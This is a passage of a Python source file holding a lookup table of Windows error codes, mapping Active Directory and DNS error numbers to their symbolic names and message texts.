"Cannot change the primary group ID of a domain controller account.", }, 0x0000213B: { "code": "ERROR_DS_ILLEGAL_BASE_SCHEMA_MOD", "message": "An attempt was made to modify the base schema.", }, 0x0000213C: { "code": "ERROR_DS_NONSAFE_SCHEMA_CHANGE", "message": ( "Adding a new mandatory attribute to an existing class, deleting a" " mandatory attribute from an existing class, or adding an optional" " attribute to the special class Top that is not a backlink attribute" " (directly or through inheritance, for example, by adding or deleting an" " auxiliary class) is not allowed." ), }, 0x0000213D: { "code": "ERROR_DS_SCHEMA_UPDATE_DISALLOWED", "message": ( "Schema update is not allowed on this DC because the DC is not the schema" " FSMO role owner." ), }, 0x0000213E: { "code": "ERROR_DS_CANT_CREATE_UNDER_SCHEMA", "message": ( "An object of this class cannot be created under the schema container. You" " can only create Attribute-Schema and Class-Schema objects under the" " schema container." ), }, 0x0000213F: { "code": "ERROR_DS_INSTALL_NO_SRC_SCH_VERSION", "message": ( "The replica or child install failed to get the objectVersion attribute on" " the schema container on the source DC. Either the attribute is missing on" " the schema container or the credentials supplied do not have permission" " to read it." ), }, 0x00002140: { "code": "ERROR_DS_INSTALL_NO_SCH_VERSION_IN_INIFILE", "message": ( "The replica or child install failed to read the objectVersion attribute in" " the SCHEMA section of the file schema.ini in the System32 directory." ), }, 0x00002141: { "code": "ERROR_DS_INVALID_GROUP_TYPE", "message": "The specified group type is invalid.", }, 0x00002142: { "code": "ERROR_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN", "message": ( "You cannot nest global groups in a mixed domain if the group is" " security-enabled." ), }, 0x00002143: { "code": "ERROR_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN", "message": ( "You cannot nest local groups in a mixed domain if the group is" " security-enabled." ), }, 0x00002144: { "code": "ERROR_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER", "message": "A global group cannot have a local group as a member.", }, 0x00002145: { "code": "ERROR_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER", "message": "A global group cannot have a universal group as a member.", }, 0x00002146: { "code": "ERROR_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER", "message": "A universal group cannot have a local group as a member.", }, 0x00002147: { "code": "ERROR_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER", "message": "A global group cannot have a cross-domain member.", }, 0x00002148: { "code": "ERROR_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER", "message": ( "A local group cannot have another cross domain local group as a member." ), }, 0x00002149: { "code": "ERROR_DS_HAVE_PRIMARY_MEMBERS", "message": ( "A group with primary members cannot change to a security-disabled group." ), }, 0x0000214A: { "code": "ERROR_DS_STRING_SD_CONVERSION_FAILED", "message": ( "The schema cache load failed to convert the string default security" " descriptor (SD) on a class-schema object." ), }, 0x0000214B: { "code": "ERROR_DS_NAMING_MASTER_GC", "message": ( "Only DSAs configured to be GC servers should be allowed to hold the domain" " naming master FSMO role. (Applies only to Windows 2000 servers.)" ), }, 0x0000214C: { "code": "ERROR_DS_DNS_LOOKUP_FAILURE", "message": ( "The DSA operation is unable to proceed because of a DNS lookup failure." ), }, 0x0000214D: { "code": "ERROR_DS_COULDNT_UPDATE_SPNS", "message": ( "While processing a change to the DNS host name for an object, the SPN" " values could not be kept in sync." ), }, 0x0000214E: { "code": "ERROR_DS_CANT_RETRIEVE_SD", "message": "The Security Descriptor attribute could not be read.", }, 0x0000214F: { "code": "ERROR_DS_KEY_NOT_UNIQUE", "message": ( "The object requested was not found, but an object with that key was found." ), }, 0x00002150: { "code": "ERROR_DS_WRONG_LINKED_ATT_SYNTAX", "message": ( "The syntax of the linked attribute being added is incorrect. Forward links" " can only have syntax 2.5.5.1, 2.5.5.7, and 2.5.5.14, and backlinks can" " only have syntax 2.5.5.1." ), }, 0x00002151: { "code": "ERROR_DS_SAM_NEED_BOOTKEY_PASSWORD", "message": "SAM needs to get the boot password.", }, 0x00002152: { "code": "ERROR_DS_SAM_NEED_BOOTKEY_FLOPPY", "message": "SAM needs to get the boot key from the floppy disk.", }, 0x00002153: { "code": "ERROR_DS_CANT_START", "message": "Directory Service cannot start.", }, 0x00002154: { "code": "ERROR_DS_INIT_FAILURE", "message": "Directory Services could not start.", }, 0x00002155: { "code": "ERROR_DS_NO_PKT_PRIVACY_ON_CONNECTION", "message": ( "The connection between client and server requires packet privacy or" " better." ), }, 0x00002156: { "code": "ERROR_DS_SOURCE_DOMAIN_IN_FOREST", "message": "The source domain cannot be in the same forest as the destination.", }, 0x00002157: { "code": "ERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST", "message": "The destination domain MUST be in the forest.", }, 0x00002158: { "code": "ERROR_DS_DESTINATION_AUDITING_NOT_ENABLED", "message": ( "The operation requires that destination domain auditing be enabled." ), }, 0x00002159: { "code": "ERROR_DS_CANT_FIND_DC_FOR_SRC_DOMAIN", "message": "The operation could not locate a DC for the source domain.", }, 0x0000215A: { "code": "ERROR_DS_SRC_OBJ_NOT_GROUP_OR_USER", "message": "The source object must be a group or user.", }, 0x0000215B: { "code": "ERROR_DS_SRC_SID_EXISTS_IN_FOREST", "message": "The source object's SID already exists in the destination forest.", }, 0x0000215C: { "code": "ERROR_DS_SRC_AND_DST_OBJECT_CLASS_MISMATCH", "message": "The source and destination object must be of the same type.", }, 0x0000215D: { "code": "ERROR_SAM_INIT_FAILURE", "message": ( "SAM initialization failed because of the following error: %1. Error" " Status: 0x%2. Click OK to shut down the system and reboot into Safe Mode." " Check the event log for detailed information." ), }, 0x0000215E: { "code": "ERROR_DS_DRA_SCHEMA_INFO_SHIP", "message": ( "Schema information could not be included in the replication request." ), }, 0x0000215F: { "code": "ERROR_DS_DRA_SCHEMA_CONFLICT", "message": ( "The replication operation could not be completed due to a schema" " incompatibility." ), }, 0x00002160: { "code": "ERROR_DS_DRA_EARLIER_SCHEMA_CONFLICT", "message": ( "The replication operation could not be completed due to a previous schema" " incompatibility." ), }, 0x00002161: { "code": "ERROR_DS_DRA_OBJ_NC_MISMATCH", "message": ( "The replication update could not be applied because either the source or" " the destination has not yet received information regarding a recent" " cross-domain move operation." ), }, 0x00002162: { "code": "ERROR_DS_NC_STILL_HAS_DSAS", "message": ( "The requested domain could not be deleted because there exist domain" " controllers that still host this domain." ), }, 0x00002163: { "code": "ERROR_DS_GC_REQUIRED", "message": "The requested operation can be performed only on a GC server.", }, 0x00002164: { "code": "ERROR_DS_LOCAL_MEMBER_OF_LOCAL_ONLY", "message": ( "A local group can only be a member of other local groups in the same" " domain." ), }, 0x00002165: { "code": "ERROR_DS_NO_FPO_IN_UNIVERSAL_GROUPS", "message": "Foreign security principals cannot be members of universal groups.", }, 0x00002166: { "code": "ERROR_DS_CANT_ADD_TO_GC", "message": ( "The attribute is not allowed to be replicated to the GC because of" " security reasons." ), }, 0x00002167: { "code": "ERROR_DS_NO_CHECKPOINT_WITH_PDC", "message": ( "The checkpoint with the PDC could not be taken because too many" " modifications are currently being processed." ), }, 0x00002168: { "code": "ERROR_DS_SOURCE_AUDITING_NOT_ENABLED", "message": "The operation requires that source domain auditing be enabled.", }, 0x00002169: { "code": "ERROR_DS_CANT_CREATE_IN_NONDOMAIN_NC", "message": ( "Security principal objects can only be created inside domain naming" " contexts." ), }, 0x0000216A: { "code": "ERROR_DS_INVALID_NAME_FOR_SPN", "message": ( "An SPN could not be constructed because the provided host name is not in" " the necessary format." ), }, 0x0000216B: { "code": "ERROR_DS_FILTER_USES_CONTRUCTED_ATTRS", "message": "A filter was passed that uses constructed attributes.", }, 0x0000216C: { "code": "ERROR_DS_UNICODEPWD_NOT_IN_QUOTES", "message": ( "The unicodePwd attribute value must be enclosed in quotation marks." ), }, 0x0000216D: { "code": "ERROR_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED", "message": ( "Your computer could not be joined to the domain. You have exceeded the" " maximum number of computer accounts you are allowed to create in this" " domain. Contact your system administrator to have this limit reset or" " increased." ), }, 0x0000216E: { "code": "ERROR_DS_MUST_BE_RUN_ON_DST_DC", "message": ( "For security reasons, the operation must be run on the destination DC." ), }, 0x0000216F: { "code": "ERROR_DS_SRC_DC_MUST_BE_SP4_OR_GREATER", "message": "For security reasons, the source DC must be NT4SP4 or greater.", }, 0x00002170: { "code": "ERROR_DS_CANT_TREE_DELETE_CRITICAL_OBJ", "message": ( "Critical directory service system objects cannot be deleted during tree" " deletion operations. The tree deletion might have been partially" " performed." ), }, 0x00002171: { "code": "ERROR_DS_INIT_FAILURE_CONSOLE", "message": ( "Directory Services could not start because of the following error: %1." " Error Status: 0x%2. Click OK to shut down the system. You can use the" " Recovery Console to further diagnose the system." ), }, 0x00002172: { "code": "ERROR_DS_SAM_INIT_FAILURE_CONSOLE", "message": ( "SAM initialization failed because of the following error: %1. Error" " Status: 0x%2. Click OK to shut down the system. You can use the Recovery" " Console to further diagnose the system." ), }, 0x00002173: { "code": "ERROR_DS_FOREST_VERSION_TOO_HIGH", "message": ( "The version of the operating system installed is incompatible with the" " current forest functional level. You must upgrade to a new version of the" " operating system before this server can become a domain controller in" " this forest." ), }, 0x00002174: { "code": "ERROR_DS_DOMAIN_VERSION_TOO_HIGH", "message": ( "The version of the operating system installed is incompatible with the" " current domain functional level. You must upgrade to a new version of the" " operating system before this server can become a domain controller in" " this domain." ), }, 0x00002175: { "code": "ERROR_DS_FOREST_VERSION_TOO_LOW", "message": ( "The version of the operating system installed on this server no longer" " supports the current forest functional level. You must raise the forest" " functional level before this server can become a domain controller in" " this forest." ), }, 0x00002176: { "code": "ERROR_DS_DOMAIN_VERSION_TOO_LOW", "message": ( "The version of the operating system installed on this server no longer" " supports the current domain functional level. You must raise the domain" " functional level before this server can become a domain controller in" " this domain." ), }, 0x00002177: { "code": "ERROR_DS_INCOMPATIBLE_VERSION", "message": ( "The version of the operating system installed on this server is" " incompatible with the functional level of the domain or forest." ), }, 0x00002178: { "code": "ERROR_DS_LOW_DSA_VERSION", "message": ( "The functional level of the domain (or forest) cannot be raised to the" " requested value because one or more domain controllers in the domain (or" " forest) are at a lower, incompatible functional level." ), }, 0x00002179: { "code": "ERROR_DS_NO_BEHAVIOR_VERSION_IN_MIXEDDOMAIN", "message": ( "The forest functional level cannot be raised to the requested value" " because one or more domains are still in mixed-domain mode. All domains" " in the forest must be in native mode for you to raise the forest" " functional level." ), }, 0x0000217A: { "code": "ERROR_DS_NOT_SUPPORTED_SORT_ORDER", "message": "The sort order requested is not supported.", }, 0x0000217B: { "code": "ERROR_DS_NAME_NOT_UNIQUE", "message": "The requested name already exists as a unique identifier.", }, 0x0000217C: { "code": "ERROR_DS_MACHINE_ACCOUNT_CREATED_PRENT4", "message": ( "The machine account was created before Windows NT 4.0. The account needs" " to be re-created." ), }, 0x0000217D: { "code": "ERROR_DS_OUT_OF_VERSION_STORE", "message": "The database is out of version store.", }, 0x0000217E: { "code": "ERROR_DS_INCOMPATIBLE_CONTROLS_USED", "message": ( "Unable to continue operation because multiple conflicting controls were" " used." ), }, 0x0000217F: { "code": "ERROR_DS_NO_REF_DOMAIN", "message": ( "Unable to find a valid security descriptor reference domain for this" " partition." ), }, 0x00002180: { "code": "ERROR_DS_RESERVED_LINK_ID", "message": "Schema update failed: The link identifier is reserved.", }, 0x00002181: { "code": "ERROR_DS_LINK_ID_NOT_AVAILABLE", "message": "Schema update failed: There are no link identifiers available.", }, 0x00002182: { "code": "ERROR_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER", "message": "An account group cannot have a universal group as a member.", }, 0x00002183: { "code": "ERROR_DS_MODIFYDN_DISALLOWED_BY_INSTANCE_TYPE", "message": ( "Rename or move operations on naming context heads or read-only objects are" " not allowed." ), }, 0x00002184: { "code": "ERROR_DS_NO_OBJECT_MOVE_IN_SCHEMA_NC", "message": ( "Move operations on objects in the schema naming context are not allowed." ), }, 0x00002185: { "code": "ERROR_DS_MODIFYDN_DISALLOWED_BY_FLAG", "message": ( "A system flag has been set on the object that does not allow the object to" " be moved or renamed." ), }, 0x00002186: { "code": "ERROR_DS_MODIFYDN_WRONG_GRANDPARENT", "message": ( "This object is not allowed to change its grandparent container. Moves are" " not forbidden on this object, but are restricted to sibling containers." ), }, 0x00002187: { "code": "ERROR_DS_NAME_ERROR_TRUST_REFERRAL", "message": ( "Unable to resolve completely; a referral to another forest was generated." ), }, 0x00002188: { "code": "ERROR_NOT_SUPPORTED_ON_STANDARD_SERVER", "message": "The requested action is not supported on a standard server.", }, 0x00002189: { "code": "ERROR_DS_CANT_ACCESS_REMOTE_PART_OF_AD", "message": ( "Could not access a partition of the directory service located on a remote" " server. Make sure at least one server is running for the partition in" " question." ), }, 0x0000218A: { "code": "ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE_V2", "message": ( "The directory cannot validate the proposed naming context (or partition)" " name because it does not hold a replica, nor can it contact a replica of" " the naming context above the proposed naming context. Ensure that the" " parent naming context is properly registered in the DNS, and at least one" " replica of this naming context is reachable by the domain naming master." ), }, 0x0000218B: { "code": "ERROR_DS_THREAD_LIMIT_EXCEEDED", "message": "The thread limit for this request was exceeded.", }, 0x0000218C: { "code": "ERROR_DS_NOT_CLOSEST", "message": "The GC server is not in the closest site.", }, 0x0000218D: { "code": "ERROR_DS_CANT_DERIVE_SPN_WITHOUT_SERVER_REF", "message": ( "The directory service cannot derive an SPN with which to mutually" " authenticate the target server because the corresponding server object in" " the local DS database has no serverReference attribute." ), }, 0x0000218E: { "code": "ERROR_DS_SINGLE_USER_MODE_FAILED", "message": "The directory service failed to enter single-user mode.", }, 0x0000218F: { "code": "ERROR_DS_NTDSCRIPT_SYNTAX_ERROR", "message": ( "The directory service cannot parse the script because of a syntax error." ), }, 0x00002190: { "code": "ERROR_DS_NTDSCRIPT_PROCESS_ERROR", "message": ( "The directory service cannot process the script because of an error." ), }, 0x00002191: { "code": "ERROR_DS_DIFFERENT_REPL_EPOCHS", "message": ( "The directory service cannot perform the requested operation because the" " servers involved are of different replication epochs (which is usually" " related to a domain rename that is in progress)." ), }, 0x00002192: { "code": "ERROR_DS_DRS_EXTENSIONS_CHANGED", "message": ( "The directory service binding must be renegotiated due to a change in the" " server extensions information." ), }, 0x00002193: { "code": "ERROR_DS_REPLICA_SET_CHANGE_NOT_ALLOWED_ON_DISABLED_CR", "message": "The operation is not allowed on a disabled cross-reference.", }, 0x00002194: { "code": "ERROR_DS_NO_MSDS_INTID", "message": "Schema update failed: No values for msDS-IntId are available.", }, 0x00002195: { "code": "ERROR_DS_DUP_MSDS_INTID", "message": "Schema update failed: Duplicate msDS-IntId. Retry the operation.", }, 0x00002196: { "code": "ERROR_DS_EXISTS_IN_RDNATTID", "message": "Schema deletion failed: Attribute is used in rDNAttID.", }, 0x00002197: { "code": "ERROR_DS_AUTHORIZATION_FAILED", "message": "The directory service failed to authorize the request.", }, 0x00002198: { "code": "ERROR_DS_INVALID_SCRIPT", "message": ( "The directory service cannot process the script because it is invalid." ), }, 0x00002199: { "code": "ERROR_DS_REMOTE_CROSSREF_OP_FAILED", "message": ( "The remote create cross-reference operation failed on the domain naming" " master FSMO. The operation's error is in the extended data." ), }, 0x0000219A: { "code": "ERROR_DS_CROSS_REF_BUSY", "message": "A cross-reference is in use locally with the same name.", }, 0x0000219B: { "code": "ERROR_DS_CANT_DERIVE_SPN_FOR_DELETED_DOMAIN", "message": ( "The directory service cannot derive an SPN with which to mutually" " authenticate the target server because the server's domain has been" " deleted from the forest." ), }, 0x0000219C: { "code": "ERROR_DS_CANT_DEMOTE_WITH_WRITEABLE_NC", "message": "Writable NCs prevent this DC from demoting.", }, 0x0000219D: { "code": "ERROR_DS_DUPLICATE_ID_FOUND", "message": ( "The requested object has a nonunique identifier and cannot be retrieved." ), }, 0x0000219E: { "code": "ERROR_DS_INSUFFICIENT_ATTR_TO_CREATE_OBJECT", "message": ( "Insufficient attributes were given to create an object. This object might" " not exist because it might have been deleted and the garbage already" " collected." ), }, 0x0000219F: { "code": "ERROR_DS_GROUP_CONVERSION_ERROR", "message": ( "The group cannot be converted due to attribute restrictions on the" " requested group type." ), }, 0x000021A0: { "code": "ERROR_DS_CANT_MOVE_APP_BASIC_GROUP", "message": ( "Cross-domain moves of nonempty basic application groups is not allowed." ), }, 0x000021A1: { "code": "ERROR_DS_CANT_MOVE_APP_QUERY_GROUP", "message": ( "Cross-domain moves of nonempty query-based application groups is not" " allowed." ), }, 0x000021A2: { "code": "ERROR_DS_ROLE_NOT_VERIFIED", "message": ( "The FSMO role ownership could not be verified because its directory" " partition did not replicate successfully with at least one replication" " partner." ), }, 0x000021A3: { "code": "ERROR_DS_WKO_CONTAINER_CANNOT_BE_SPECIAL", "message": ( "The target container for a redirection of a well-known object container" " cannot already be a special container." ), }, 0x000021A4: { "code": "ERROR_DS_DOMAIN_RENAME_IN_PROGRESS", "message": ( "The directory service cannot perform the requested operation because a" " domain rename operation is in progress." ), }, 0x000021A5: { "code": "ERROR_DS_EXISTING_AD_CHILD_NC", "message": ( "The directory service detected a child partition below the requested" " partition name. The partition hierarchy must be created in a top down" " method." ), }, 0x000021A6: { "code": "ERROR_DS_REPL_LIFETIME_EXCEEDED", "message": ( "The directory service cannot replicate with this server because the time" " since the last replication with this server has exceeded the tombstone" " lifetime." ), }, 0x000021A7: { "code": "ERROR_DS_DISALLOWED_IN_SYSTEM_CONTAINER", "message": ( "The requested operation is not allowed on an object under the system" " container." ), }, 0x000021A8: { "code": "ERROR_DS_LDAP_SEND_QUEUE_FULL", "message": ( "The LDAP server's network send queue has filled up because the client is" " not processing the results of its requests fast enough. No more requests" " will be processed until the client catches up. If the client does not" " catch up then it will be disconnected." ), }, 0x000021A9: { "code": "ERROR_DS_DRA_OUT_SCHEDULE_WINDOW", "message": ( "The scheduled replication did not take place because the system was too" " busy to execute the request within the schedule window. The replication" " queue is overloaded. Consider reducing the number of partners or" " decreasing the scheduled replication frequency." ), }, 0x000021AA: { "code": "ERROR_DS_POLICY_NOT_KNOWN", "message": ( "At this time, it cannot be determined if the branch replication policy is" " available on the hub domain controller. Retry at a later time to account" " for replication latencies." ), }, 0x000021AB: { "code": "ERROR_NO_SITE_SETTINGS_OBJECT", "message": "The site settings object for the specified site does not exist.", }, 0x000021AC: { "code": "ERROR_NO_SECRETS", "message": ( "The local account store does not contain secret material for the specified" " account." ), }, 0x000021AD: { "code": "ERROR_NO_WRITABLE_DC_FOUND", "message": "Could not find a writable domain controller in the domain.", }, 0x000021AE: { "code": "ERROR_DS_NO_SERVER_OBJECT", "message": "The server object for the domain controller does not exist.", }, 0x000021AF: { "code": "ERROR_DS_NO_NTDSA_OBJECT", "message": "The NTDS Settings object for the domain controller does not exist.", }, 0x000021B0: { "code": "ERROR_DS_NON_ASQ_SEARCH", "message": ( "The requested search operation is not supported for attribute scoped query" " (ASQ) searches." ), }, 0x000021B1: { "code": "ERROR_DS_AUDIT_FAILURE", "message": "A required audit event could not be generated for the operation.", }, 0x000021B2: { "code": "ERROR_DS_INVALID_SEARCH_FLAG_SUBTREE", "message": ( "The search flags for the attribute are invalid. The subtree index bit is" " valid only on single-valued attributes." ), }, 0x000021B3: { "code": "ERROR_DS_INVALID_SEARCH_FLAG_TUPLE", "message": ( "The search flags for the attribute are invalid. The tuple index bit is" " valid only on attributes of Unicode strings." ), }, 0x000021BF: { "code": "ERROR_DS_DRA_RECYCLED_TARGET", "message": ( "The replication operation failed because the target object referenced by a" " link value is recycled." ), }, 0x000021C2: { "code": "ERROR_DS_HIGH_DSA_VERSION", "message": ( "The functional level of the domain (or forest) cannot be lowered to the" " requested value." ), }, 0x000021C7: { "code": "ERROR_DS_SPN_VALUE_NOT_UNIQUE_IN_FOREST", "message": ( "The operation failed because the SPN value provided for" " addition/modification is not unique forest-wide." ), }, 0x000021C8: { "code": "ERROR_DS_UPN_VALUE_NOT_UNIQUE_IN_FOREST", "message": ( "The operation failed because the UPN value provided for" " addition/modification is not unique forest-wide." ), }, 0x00002329: { "code": "DNS_ERROR_RCODE_FORMAT_ERROR", "message": "DNS server unable to interpret format.", }, 0x0000232A: { "code": "DNS_ERROR_RCODE_SERVER_FAILURE", "message": "DNS server failure.", }, 0x0000232B: { "code": "DNS_ERROR_RCODE_NAME_ERROR", "message": "DNS name does not exist.", }, 0x0000232C: { "code": "DNS_ERROR_RCODE_NOT_IMPLEMENTED", "message": "DNS request not supported by name server.", }, 0x0000232D: { "code": "DNS_ERROR_RCODE_REFUSED", "message": "DNS operation refused.", }, 0x0000232E: { "code": "DNS_ERROR_RCODE_YXDOMAIN", "message": "DNS name that should not exist, does exist.", }, 0x0000232F: { "code": "DNS_ERROR_RCODE_YXRRSET", "message": "DNS resource record (RR) set that should not exist, does exist.", }, 0x00002330: { "code": "DNS_ERROR_RCODE_NXRRSET", "message": "DNS RR set that should to exist, does not exist.", }, 0x00002331: { "code": "DNS_ERROR_RCODE_NOTAUTH", "message": "DNS server not authoritative for zone.", }, 0x00002332: { "code": "DNS_ERROR_RCODE_NOTZONE", "message": "DNS name in update or prereq is not in zone.", }, 0x00002338: { "code": "DNS_ERROR_RCODE_BADSIG", "message": "DNS signature failed to verify.", }, 0x00002339: {"code": "DNS_ERROR_RCODE_BADKEY", "message": "DNS bad key."}, 0x0000233A: { "code": "DNS_ERROR_RCODE_BADTIME", "message": "DNS signature validity expired.", }, 0x0000251D: { "code": "DNS_INFO_NO_RECORDS", "message": "No records found for given DNS query.", }, 0x0000251E: {"code": "DNS_ERROR_BAD_PACKET", "message": "Bad DNS packet."}, 0x0000251F: {"code": "DNS_ERROR_NO_PACKET", "message": "No DNS packet."}, 0x00002520: {"code": "DNS_ERROR_RCODE", "message": "DNS error, check rcode."}, 0x00002521: { "code": "DNS_ERROR_UNSECURE_PACKET", "message": "Unsecured DNS packet.", }, 0x0000254F: {"code": "DNS_ERROR_INVALID_TYPE", "message": "Invalid DNS type."}, 0x00002550: { "code": "DNS_ERROR_INVALID_IP_ADDRESS", "message": "Invalid IP address.", }, 0x00002551: {"code": "DNS_ERROR_INVALID_PROPERTY", "message": "Invalid property."}, 0x00002552: { "code": "DNS_ERROR_TRY_AGAIN_LATER", "message": "Try DNS operation again later.", }, 0x00002553: { "code": "DNS_ERROR_NOT_UNIQUE", "message": "Record for given name and type is not unique.", }, 0x00002554: { "code": "DNS_ERROR_NON_RFC_NAME", "message": "DNS name does not comply with RFC specifications.", }, 0x00002555: { "code": "DNS_STATUS_FQDN", "message": "DNS name is a fully qualified DNS name.", }, 0x00002556: { "code": "DNS_STATUS_DOTTED_NAME", "message": "DNS name is dotted (multilabel).", }, 0x00002557: { "code": "DNS_STATUS_SINGLE_PART_NAME", "message": "DNS name is a single-part name.", }, 0x00002558: { "code": "DNS_ERROR_INVALID_NAME_CHAR", "message": "DNS name contains an invalid character.", }, 0x00002559: { "code": "DNS_ERROR_NUMERIC_NAME", "message": "DNS name is entirely numeric.", }, 0x0000255A: { "code": "DNS_ERROR_NOT_ALLOWED_ON_ROOT_SERVER", "message": "The operation requested is not permitted on a DNS root server.", }, 0x0000255B: { "code": "DNS_ERROR_NOT_ALLOWED_UNDER_DELEGATION", "message": ( "The record could not be created because this part of the DNS namespace has" " been delegated to another server." ), }, 0x0000255C: { "code": "DNS_ERROR_CANNOT_FIND_ROOT_HINTS", "message": "The DNS server could not find a set of root hints.", }, 0x0000255D: { "code": "DNS_ERROR_INCONSISTENT_ROOT_HINTS", "message": ( "The DNS server found root hints but they were not consistent across all" " adapters." ), }, 0x0000255E: { "code": "DNS_ERROR_DWORD_VALUE_TOO_SMALL", "message": "The specified value is too small for this parameter.", }, 0x0000255F: { "code": "DNS_ERROR_DWORD_VALUE_TOO_LARGE", "message": "The specified value is too large for this parameter.", }, 0x00002560: { "code": "DNS_ERROR_BACKGROUND_LOADING", "message": ( "This operation is not allowed while the DNS server is loading zones in the" " background. Try again later." ), }, 0x00002561: { "code": "DNS_ERROR_NOT_ALLOWED_ON_RODC", "message": ( "The operation requested is not permitted on against a DNS server running" " on a read-only DC." ), }, 0x00002581: { "code": "DNS_ERROR_ZONE_DOES_NOT_EXIST", "message": "DNS zone does not exist.", }, 0x00002582: { "code": "DNS_ERROR_NO_ZONE_INFO", "message": "DNS zone information not available.", }, 0x00002583: { "code": "DNS_ERROR_INVALID_ZONE_OPERATION", "message": "Invalid operation for DNS zone.", }, 0x00002584: { "code": "DNS_ERROR_ZONE_CONFIGURATION_ERROR", "message": "Invalid DNS zone configuration.", }, 0x00002585: { "code": "DNS_ERROR_ZONE_HAS_NO_SOA_RECORD", "message": "DNS zone has no start of authority (SOA) record.", }, 0x00002586: { "code": "DNS_ERROR_ZONE_HAS_NO_NS_RECORDS", "message": "DNS zone has no Name Server (NS) record.", }, 0x00002587: {"code": "DNS_ERROR_ZONE_LOCKED", "message": "DNS zone is locked."}, 0x00002588: { "code": "DNS_ERROR_ZONE_CREATION_FAILED", "message": "DNS zone creation failed.", }, 0x00002589: { "code": "DNS_ERROR_ZONE_ALREADY_EXISTS", "message": "DNS zone already exists.", }, 0x0000258A: { "code": "DNS_ERROR_AUTOZONE_ALREADY_EXISTS", "message": "DNS automatic zone already exists.", }, 0x0000258B: { "code": "DNS_ERROR_INVALID_ZONE_TYPE", "message": "Invalid DNS zone type.", }, 0x0000258C: { "code": "DNS_ERROR_SECONDARY_REQUIRES_MASTER_IP", "message": "Secondary DNS zone requires master IP address.", }, 0x0000258D: { "code": "DNS_ERROR_ZONE_NOT_SECONDARY", "message": "DNS zone not secondary.", }, 0x0000258E: { "code": "DNS_ERROR_NEED_SECONDARY_ADDRESSES", "message": "Need secondary IP address.", }, 0x0000258F: { "code": "DNS_ERROR_WINS_INIT_FAILED", "message": "WINS initialization failed.", }, 0x00002590: { "code": "DNS_ERROR_NEED_WINS_SERVERS", "message": "Need WINS servers.", }, 0x00002591: { "code": "DNS_ERROR_NBSTAT_INIT_FAILED", "message": "NBTSTAT initialization call failed.", }, 0x00002592: { "code": "DNS_ERROR_SOA_DELETE_INVALID", "message": "Invalid delete of SOA.", }, 0x00002593: { "code": "DNS_ERROR_FORWARDER_ALREADY_EXISTS", "message": "A conditional forwarding zone already exists for that name.", }, 0x00002594: { "code": "DNS_ERROR_ZONE_REQUIRES_MASTER_IP", "message": ( "This zone must be configured with one or more master DNS server IP" " addresses." ), }, 0x00002595: { "code": "DNS_ERROR_ZONE_IS_SHUTDOWN", "message": "The operation cannot be performed because this zone is shut down.", }, 0x000025B3: { "code": "DNS_ERROR_PRIMARY_REQUIRES_DATAFILE", "message": "The primary DNS zone requires a data file.", }, 0x000025B4: { "code": "DNS_ERROR_INVALID_DATAFILE_NAME", "message": "Invalid data file name for the DNS zone.", }, 0x000025B5: { "code": "DNS_ERROR_DATAFILE_OPEN_FAILURE", "message": "Failed to open the data file for the DNS zone.", }, 0x000025B6: { "code": "DNS_ERROR_FILE_WRITEBACK_FAILED", "message": "Failed to write the data file for the DNS zone.", }, 0x000025B7: { "code": "DNS_ERROR_DATAFILE_PARSING", "message": "Failure while reading datafile for DNS zone.", }, 0x000025E5: { "code": "DNS_ERROR_RECORD_DOES_NOT_EXIST", "message": "DNS record does not exist.", }, 0x000025E6: { "code": "DNS_ERROR_RECORD_FORMAT", "message": "DNS record format error.", }, 0x000025E7: { "code": "DNS_ERROR_NODE_CREATION_FAILED", "message": "Node creation failure in DNS.", }, 0x000025E8: { "code": "DNS_ERROR_UNKNOWN_RECORD_TYPE", "message": "Unknown DNS record type.", }, 0x000025E9: { "code": "DNS_ERROR_RECORD_TIMED_OUT", "message": "DNS record timed out.", }, 0x000025EA: { "code": "DNS_ERROR_NAME_NOT_IN_ZONE", "message": "Name not in DNS zone.", }, 0x000025EB: {"code": "DNS_ERROR_CNAME_LOOP", "message": "CNAME loop detected."}, 0x000025EC: { "code": "DNS_ERROR_NODE_IS_CNAME", "message": "Node is a CNAME DNS record.", }, 0x000025ED: { "code": "DNS_ERROR_CNAME_COLLISION", "message": "A CNAME record already exists for the given name.", }, 0x000025EE: { "code": "DNS_ERROR_RECORD_ONLY_AT_ZONE_ROOT", "message": "Record is only at DNS zone root.", }, 0x000025EF: { "code": "DNS_ERROR_RECORD_ALREADY_EXISTS", "message": "DNS record already exists.", }, 0x000025F0: { "code": "DNS_ERROR_SECONDARY_DATA", "message": "Secondary DNS zone data error.", }, 0x000025F1: { "code": "DNS_ERROR_NO_CREATE_CACHE_DATA", "message": "Could not create DNS cache data.", }, 0x000025F2: { "code": "DNS_ERROR_NAME_DOES_NOT_EXIST", "message": "DNS name does not exist.", }, 0x000025F3: { "code": "DNS_WARNING_PTR_CREATE_FAILED", "message": "Could not create pointer (PTR) record.", }, 0x000025F4: { "code": "DNS_WARNING_DOMAIN_UNDELETED", "message": "DNS domain was undeleted.", }, 0x000025F5: { "code": "DNS_ERROR_DS_UNAVAILABLE", "message": "The directory service is unavailable.", }, 0x000025F6: { "code": "DNS_ERROR_DS_ZONE_ALREADY_EXISTS", "message": "DNS zone already exists in the directory service.", }, 0x000025F7: { "code": "DNS_ERROR_NO_BOOTFILE_IF_DS_ZONE", "message": ( "DNS server not creating or reading the boot file for the directory service" " integrated DNS zone." ), }, 0x00002617: { "code": "DNS_INFO_AXFR_COMPLETE", "message": "DNS AXFR (zone transfer) complete.", }, 0x00002618: {"code": "DNS_ERROR_AXFR", "message": "DNS zone transfer failed."}, 0x00002619: { "code": "DNS_INFO_ADDED_LOCAL_WINS", "message": "Added local WINS server.", }, 0x00002649: { "code": "DNS_STATUS_CONTINUE_NEEDED", "message": "Secure update call needs to continue update request.", }, 0x0000267B: { "code": "DNS_ERROR_NO_TCPIP", "message": "TCP/IP network protocol not installed.", }, 0x0000267C: { "code": "DNS_ERROR_NO_DNS_SERVERS", "message": "No DNS servers configured for local system.", }, 0x000026AD: { "code": 